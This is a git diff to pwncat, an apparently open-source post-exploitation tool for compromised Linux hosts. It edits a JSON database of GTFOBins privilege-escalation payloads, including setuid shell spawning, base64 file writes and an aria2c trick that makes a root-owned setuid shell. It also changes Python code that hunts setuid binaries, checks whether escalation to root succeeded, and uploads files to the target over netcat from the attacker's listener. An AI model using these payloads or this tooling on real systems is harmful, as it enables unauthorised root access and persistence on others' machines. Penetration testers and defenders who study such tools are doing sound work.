diff --git a/data/gtfobins.json b/data/gtfobins.json index cf18a8c..c173ade 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -7,7 +7,7 @@ "name": "cp", "write_file": { "type": "base64", - "payload": "TF=/tmp/.pwncat; echo {data} | base64 -d > $TF; {path} $TF ${lfile}; unlink $TF" + "payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF ${lfile}; {unlink} $TF" } }, { @@ -16,10 +16,10 @@ "script": "{command}", "suid": ["-p"] }, - "read_file": "{path} -p -c \"cat {lfile}\"", + "read_file": "{path} -p -c \"{cat} {lfile}\"", "write_file": { "type": "base64", - "payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\"" + "payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\"" }, "command": "{path} -p -c {command}" }, @@ -42,7 +42,7 @@ { "name": "aria2c", "shell": { - "script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"chown root:root $SHELL; chmod +sx $SHELL;\" > $TF;chmod +x $TF; {command}; sleep 1; $SHELL -p", + "script": "TF=$(mktemp); SHELL=$(mktemp); cp {shell} $SHELL; echo \"{chown} root:root $SHELL; {chmod} +sx $SHELL;\" > $TF;{chmod} +x $TF; {command}; sleep 1; $SHELL -p", "need": ["--on-download-error=$TF","http://x"] } }, @@ -55,7 +55,7 @@ "read_file": "{path} -p -c \"cat {lfile}\"", "write_file": { "type": "base64", - "payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\"" + "payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\"" }, "command": "{path} -p -c {command}" }, @@ -78,7 +78,7 @@ "read_file": "{path} '//' {lfile}", "write_file": { "type": "base64", - "payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'" + "payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'" } }, { @@ -112,17 +112,6 @@ "exit": "exit\nq\n" } }, - { - "name": "busybox", - "shell": { - "script": "{command} sh" - }, - "read_file": "{path} -c \"cat {lfile}\"", - "write_file": { - "type": "base64", - "payload": "{path} -c \"echo -n {data} | base64 -d > {lfile}\"" - } - }, { "name": "byebug", "shell": { @@ -132,10 +121,10 @@ "-q" ] }, - "read_file": "TF=$(mktemp);echo 'system(\"cat {lfile}\")' > $TF;{command} --no-stop -q $TF", + "read_file": "TF=$(mktemp);echo 'system(\"{cat} {lfile}\")' > $TF;{command} --no-stop -q $TF", "write_file": { "type": "base64", - "payload": "TF=$(mktemp);echo 'system(\"echo {data} | base64 -d > {lfile}\")' > $TF;{path} --no-stop -q $TF" + "payload": "TF=$(mktemp);echo 'system(\"echo {data} | {base64} -d > {lfile}\")' > $TF;{path} --no-stop -q $TF" } }, { @@ -144,10 +133,10 @@ "script": "{command}", "suid": ["-p"] }, - "read_file": "{path} -p -c \"cat {lfile}\"", + "read_file": "{path} -p -c \"{cat} {lfile}\"", "write_file": { "type": "base64", - "payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\"" + "payload": "{path} -p -c \"echo -n {data} | {base64} -d > {lfile}\"" }, "command": "{path} -p -c {command}" } diff --git a/pwncat/file.py b/pwncat/file.py index fb7bef9..b3221e0 100644 --- a/pwncat/file.py +++ b/pwncat/file.py @@ -10,13 +10,22 @@ class RemoteBinaryPipe(RawIOBase): is closed, it will restore the state of the terminal (w/ `reset`). No further reading or writing will be allowed. """ - def __init__(self, pty: "pwncat.pty.PtyHandler", delim: bytes, binary: bool): + def __init__( + self, pty: "pwncat.pty.PtyHandler", mode: str, delim: bytes, binary: bool + ): self.pty = pty self.delim = delim self.eof = 0 self.next_eof = False self.binary = binary self.split_eof = b"" + self.mode = mode + + def readable(self) -> bool: + return True + + def writable(self) -> bool: + return "w" in self.mode def on_eof(self): if self.eof: @@ -25,26 +34,30 @@ class RemoteBinaryPipe(RawIOBase): # Set eof flag self.eof = 1 - if self.binary: - # Reset the terminal - self.pty.reset() - # Send a bare echo, and read all data to ensure we don't clobber the - # output of the user's terminal - self.pty.run("echo") + # Reset the terminal + self.pty.restore_remote() + # Send a bare echo, and read all data to ensure we don't clobber the + # output of the user's terminal + self.pty.run("echo") def close(self): if self.eof: return - # Kill the last job. This should be us. - self.pty.run("kill -9 %%", wait=False) + # Kill the last job. This should be us. We can only run as a job when we + # don't request write support, because stdin is taken away from the + # subprocess. This is dangerous, because we have no way to kill the new + # process if it misbehaves. Use "w" carefully with known good + # parameters. + if "w" not in self.mode: + self.pty.run("kill -9 %%", wait=False) # Cleanup self.on_eof() def readinto(self, b: bytearray): if self.eof: - return 0 + return None if isinstance(b, memoryview): obj = b.obj @@ -52,7 +65,11 @@ class RemoteBinaryPipe(RawIOBase): obj = b # Receive the data - n = self.pty.client.recv_into(b) + try: + n = self.pty.client.recv_into(b) + except BlockingIOError: + return 0 + obj = bytes(b) # Check for EOF if self.delim in obj: @@ -61,7 +78,7 @@ class RemoteBinaryPipe(RawIOBase): return n else: # Check for EOF split across blocks - for i in range(1, len(self.delim) - 1): + for i in range(1, len(self.delim)): # See if a piece of the delimeter is at the end of this block piece = self.delim[:i] if bytes(b[-i:]) == piece: @@ -91,4 +108,6 @@ class RemoteBinaryPipe(RawIOBase): pass def write(self, data: bytes): + if self.eof: + raise EOFError return self.pty.client.send(data) diff --git a/pwncat/gtfobins.py b/pwncat/gtfobins.py index 169fb0a..473e6a2 100644 --- a/pwncat/gtfobins.py +++ b/pwncat/gtfobins.py @@ -10,6 +10,10 @@ import os from pwncat.privesc import Capability +class MissingBinary(Exception): + """ The GTFObin method you attempted depends on a missing binary """ + + class SudoNotPossible(Exception): """ Running the given binary to get a sudo shell is not possible """ @@ -26,11 +30,12 @@ class Binary: _binaries: List[Dict[str, Any]] = [] - def __init__(self, path: str, data: Dict[str, Any]): + def __init__(self, path: str, data: Dict[str, Any], which): """ build a new binary from a dictionary of data. The data is taken from the GTFOBins JSON database """ self.data = data self.path = path + self.which = which self.capabilities = 0 if self.has_read_file: @@ -44,6 +49,26 @@ class Binary: if self.has_shell: self.capabilities |= Capability.SUDO + def resolve_binaries(self, target: str, **args): + """ resolve any missing binaries with the self.which method """ + + while True: + try: + target = target.format(**args) + break + except KeyError as exc: + # The keyerror has the name in quotes for some reason + key = shlex.split(str(exc))[0] + # Find the remote binary that matches + value = self.which(key, quote=True) + # Whoops! No dependancy + if value is None: + raise MissingBinary(key) + # Next time, we have it + args[key] = value + + return target + def shell( self, shell_path: str, @@ -61,7 +86,7 @@ class Binary: return None if isinstance(self.data["shell"], str): - script = self.data["shell"].format(shell=shell_path, command="{command}") + script = self.data["shell"] args = [] suid_args = [] exit = "exit" @@ -70,9 +95,10 @@ class Binary: script = self.data["shell"].get("script", "{command}") suid_args = self.data["shell"].get("suid", []) args = [ - n.format(shell=shell_path) for n in self.data["shell"].get("need", []) + self.resolve_binaries(n, shell=shell_path) + for n in self.data["shell"].get("need", []) ] - exit = self.data["shell"].get("exit", "exit") + exit = self.resolve_binaries(self.data["shell"].get("exit", "exit")) input = self.data["shell"].get("input", "") if suid: @@ -88,7 +114,7 @@ class Binary: command = sudo_prefix + " " + command return ( - script.format(command=command, shell=shell_path), + self.resolve_binaries(script, command=command, shell=shell_path), input.format(shell=shlex.quote(shell_path)), exit, ) @@ -96,7 +122,11 @@ class Binary: @property def has_shell(self) -> bool: """ Check if this binary has a shell method """ - return "shell" in self.data + try: + result = self.shell("test") + except MissingBinary: + return False + return result is not None def can_sudo(self, command: str, shell_path: str) -> List[str]: """ Checks if this command can be leveraged for a shell with sudo. The @@ -109,7 +139,7 @@ class Binary: * Parameters match exactly """ - if not self.has_shell: + if not "shell" in self.data: # We need to be able to run a shell raise SudoNotPossible @@ -124,12 +154,16 @@ class Binary: has_wildcard = True if isinstance(self.data["shell"], str): - need = [n.format(shell=shell_path) for n in shlex.split(self.data["shell"])] + need = [ + self.resolve_binaries(n, shell=shell_path) + for n in shlex.split(self.data["shell"]) + ] restricted = [] else: # Needed and restricted parameters need = [ - n.format(shell=shell_path) for n in self.data["shell"].get("need", []) + self.resolve_binaries(n, shell=shell_path) + for n in self.data["shell"].get("need", []) ] restricted = self.data["shell"].get("restricted", []) @@ -220,16 +254,23 @@ class Binary: if "read_file" not in self.data: return None - path = quote(self.path) + # path = quote(self.path) + path = self.path if sudo_prefix: path = sudo_prefix + " " + path - return self.data["read_file"].format(path=path, lfile=quote(file_path)) + return self.resolve_binaries( + self.data["read_file"], path=path, lfile=quote(file_path) + ) @property def has_read_file(self): """ Check if this binary has a read_file capability """ - return "read_file" in self.data + try: + result = self.read_file("test") + except MissingBinary: + return False + return result is not None def write_file(self, file_path: str, data: bytes, sudo_prefix: str = None) -> str: """ Build a payload to write the specified data into the file """ @@ -237,7 +278,8 @@ class Binary: if "write_file" not in self.data: return None - path = quote(self.path) + # path = quote(self.path) + path = self.path if sudo_prefix: path = sudo_prefix + " " + path @@ -253,14 +295,21 @@ class Binary: "{self.data['name']}: unknown write_file type: {self.data['write_file']['type']}" ) - return self.data["write_file"]["payload"].format( - path=path, lfile=quote(file_path), data=quote(data.decode("utf-8")), + return self.resolve_binaries( + self.data["write_file"]["payload"], + path=path, + lfile=quote(file_path), + data=quote(data.decode("utf-8")), ) @property def has_write_file(self): """ Check if this binary has a write_file capability """ - return "write_file" in self.data + try: + result = self.write_file("test", "test") + except MissingBinary: + return False + return result is not None @property def is_safe(self): @@ -273,14 +322,18 @@ class Binary: if "command" not in self.data: return None - return self.data["command"].format( - path=quote(self.path), command=quote(command) + return self.resolve_binaries( + self.data["command"], path=self.path, command=quote(command) ) @property def has_command(self): """ Check if this binary has a command capability """ - return "command" in self.data + try: + result = self.command("test") + except MissingBinary: + return False + return result is not None @classmethod def load(cls, gtfo_path: str): @@ -288,7 +341,7 @@ class Binary: cls._binaries = json.load(filp) @classmethod - def find(cls, path: str = None, name: str = None,) -> "Binary": + def find(cls, which: Callable, path: str = None, name: str = None) -> "Binary": """ Locate the given gtfobin and return the Binary object. If name is not given, it is assumed to be the basename of the path. """ @@ -297,7 +350,7 @@ class Binary: for binary in cls._binaries: if binary["name"] == name: - return Binary(path, binary) + return Binary(path, binary, which) return None @@ -312,11 +365,11 @@ class Binary: not given, it is assumed to be the basename of the path. """ for data in cls._binaries: - path = which(data["name"]) + path = which(data["name"], quote=True) if path is None: continue - binary = Binary(path, data) + binary = Binary(path, data, which) if not binary.is_safe and safe: continue if (binary.capabilities & capability) == 0: diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index 418d7ae..2f2f8af 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -275,15 +275,33 @@ class Finder: util.progress(f"attempting escalation to {technique}") + shlvl = self.pty.getenv("SHLVL") + if (technique.capabilities & Capability.SHELL) > 0: try: # Attempt our basic, known technique - return technique.method.execute(technique) + exit_script = technique.method.execute(technique) + + # Reset the terminal to ensure we are stable + self.pty.reset() + + # Check that we actually succeeded + if self.pty.whoami() == technique.user: + return exit_script + + # Check if we ended up in a sub-shell without escalating + if self.pty.getenv("SHLVL") != shlvl: + # Get out of this subshell. We don't need it + self.pty.process(exit_script, delim=False) + self.pty.reset() + + # The privesc didn't work, but didn't throw an exception. + # Continue on as if it hadn't worked. except PrivescError: pass - # We can't privilege escalate with this technique, but we may be able - # to add a user via file write. + # We can't privilege escalate directly to a shell with this technique, + # but we may be able to add a user via file write. if (technique.capabilities & Capability.WRITE) == 0 or technique.user != "root": raise PrivescError("privesc failed") diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index 8ab7549..22e7c53 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -37,17 +37,17 @@ class SetuidMethod(Method): self.users_searched.append(current_user) # Spawn a find command to locate the setuid binaries - delim = self.pty.process("find / -perm -4000 -print 2>/dev/null") files = [] - - while True: - path = self.pty.recvuntil(b"\n").strip() + with self.pty.subprocess( + "find / -perm -4000 -print 2>/dev/null", mode="r" + ) as stream: util.progress("searching for setuid binaries") + for path in stream: + path = path.strip() + util.progress(f"searching for setuid binaries: {path}") + files.append(path) - if delim in path: - break - - files.append(path.decode("utf-8")) + util.success("searching for setuid binaries: complete", overlay=True) for path in files: user = ( @@ -70,7 +70,7 @@ class SetuidMethod(Method): known_techniques = [] for user, paths in self.suid_paths.items(): for path in paths: - binary = gtfobins.Binary.find(path) + binary = gtfobins.Binary.find(self.pty.which, path=path) if binary is not None: if (capability & binary.capabilities) == 0: continue diff --git a/pwncat/pty.py b/pwncat/pty.py index a270aa0..dfda7fc 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -16,6 +16,7 @@ from prompt_toolkit.auto_suggest import AutoSuggestFromHistory from prompt_toolkit.lexers import PygmentsLexer from functools import wraps import subprocess +import traceback import requests import tempfile import logging @@ -28,6 +29,7 @@ import shlex import sys import os import re +import io from pwncat import util from pwncat import downloader, uploader, privesc @@ -614,7 +616,8 @@ class PtyHandler: # Call the method method(argv[1:]) - except KeyboardInterrupt: + except KeyboardInterrupt as exc: + traceback.print_exc() continue @with_parser @@ -1027,7 +1030,7 @@ class PtyHandler: return b"_PWNCAT_ENDDELIM_" - def subprocess(self, cmd) -> RemoteBinaryPipe: + def subprocess(self, cmd, mode="rb") -> RemoteBinaryPipe: """ Create an asynchronous child on the remote end and return a file-like object which can communicate with it's standard output. The remote terminal is placed in raw mode with no-echo first, and the @@ -1043,6 +1046,10 @@ class PtyHandler: if isinstance(cmd, list): cmd = shlex.join(cmd) + for c in mode: + if c not in "rwb": + raise ValueError("mode must only contain 'r', 'w' and 'b'") + sdelim = "_PWNCAT_STARTDELIM_" edelim = "_PWNCAT_ENDDELIM_" @@ -1055,9 +1062,14 @@ class PtyHandler: command.append("set +m") # This is gross, but it allows us to recieve stderr and stdout, while # ignoring the job control start message. - command.append( - f"{{ echo {sdelim}; {cmd} && echo {edelim} || echo {edelim} 2>&1 & }} 2>/dev/null" - ) + if "w" not in mode: + command.append( + f"{{ echo {sdelim}; {cmd} && echo {edelim} || echo {edelim} & }} 2>/dev/null" + ) + else: + # This is dangerous. We are in raw mode, and if the process never + # ends and doesn't provide a way to exit, then we are stuck. + command.append(f"echo {sdelim}; {cmd}; echo {edelim}") # Re-enable normal job control in bash command.append("set -m") @@ -1073,13 +1085,30 @@ class PtyHandler: self.recvuntil(sdelim) self.recvuntil("\n") - return RemoteBinaryPipe(self, edelim.encode("utf-8"), True) + pipe = RemoteBinaryPipe(self, mode, edelim.encode("utf-8"), True) + + if "b" not in mode: + if "w" in mode: + pipe = io.BufferedRWPair(pipe, pipe) + pipe = io.TextIOWrapper(pipe) + else: + pipe = io.TextIOWrapper(io.BufferedReader(pipe)) + + return pipe def raw(self, echo: bool = False): + self.stty_saved = self.run("stty -g").decode("utf-8").strip() self.run("stty raw -echo", wait=False) self.has_cr = False self.has_echo = False + def restore_remote(self): + self.run(f"stty {self.stty_saved}", wait=False) + self.has_cr = True + self.has_echo = True + self.run(f"export PS1='{self.remote_prefix} {self.remote_prompt}'") + self.run(f"tput rmam") + def reset(self): self.run("reset", wait=False) self.has_cr = True @@ -1203,6 +1232,11 @@ class PtyHandler: result = self.run("whoami") return result.strip().decode("utf-8") + def getenv(self, name: str): + """ Get the value of the given environment variable on the remote host + """ + return self.run(f"echo -n ${{{name}}}").decode("utf-8") + @property def id(self): diff --git a/pwncat/uploader/nc.py b/pwncat/uploader/nc.py index 45271a3..2893704 100644 --- a/pwncat/uploader/nc.py +++ b/pwncat/uploader/nc.py @@ -15,7 +15,7 @@ class NetcatUploader(RawUploader): lhost = self.pty.vars["lhost"] lport = self.server.server_address[1] - nc = self.pty.which("nc") + nc = self.pty.which("nc", quote=True) remote_file = shlex.quote(self.remote_path) self.pty.run(f"{nc} {lhost} {lport} > {remote_file}", wait=False) diff --git a/pwncat/uploader/raw.py b/pwncat/uploader/raw.py index a2050ec..90c7311 100644 --- a/pwncat/uploader/raw.py +++ b/pwncat/uploader/raw.py @@ -20,34 +20,19 @@ class RawShellUploader(Uploader): """ Yield list of commands to transfer the file """ remote_path = shlex.quote(self.remote_path) - file_sz = os.path.getsize(self.local_path) - 1 + file_sz = os.path.getsize(self.local_path) + dd = self.pty.which("dd") - # Put the remote terminal in raw mode - self.pty.raw() - - self.pty.process( - f"dd of={remote_path} bs=1 count={file_sz} 2>/dev/null", delim=False - ) - - pty = self.pty - - class SocketWrapper: - def write(self, data): - try: - n = pty.client.send(data) - except socket.error: - return 0 - return n - - try: - with open(self.local_path, "rb") as filp: - util.copyfileobj(filp, SocketWrapper(), self.on_progress) - finally: - self.on_progress(0, -1) + with self.pty.subprocess( + f"{dd} of={remote_path} bs=1 count={file_sz} 2>/dev/null", mode="wb" + ) as stream: + try: + with open(self.local_path, "rb") as filp: + util.copyfileobj(filp, stream, self.on_progress) + finally: + self.on_progress(0, -1) # Get back to a terminal - self.pty.client.send(util.CTRL_C) - self.pty.reset() return False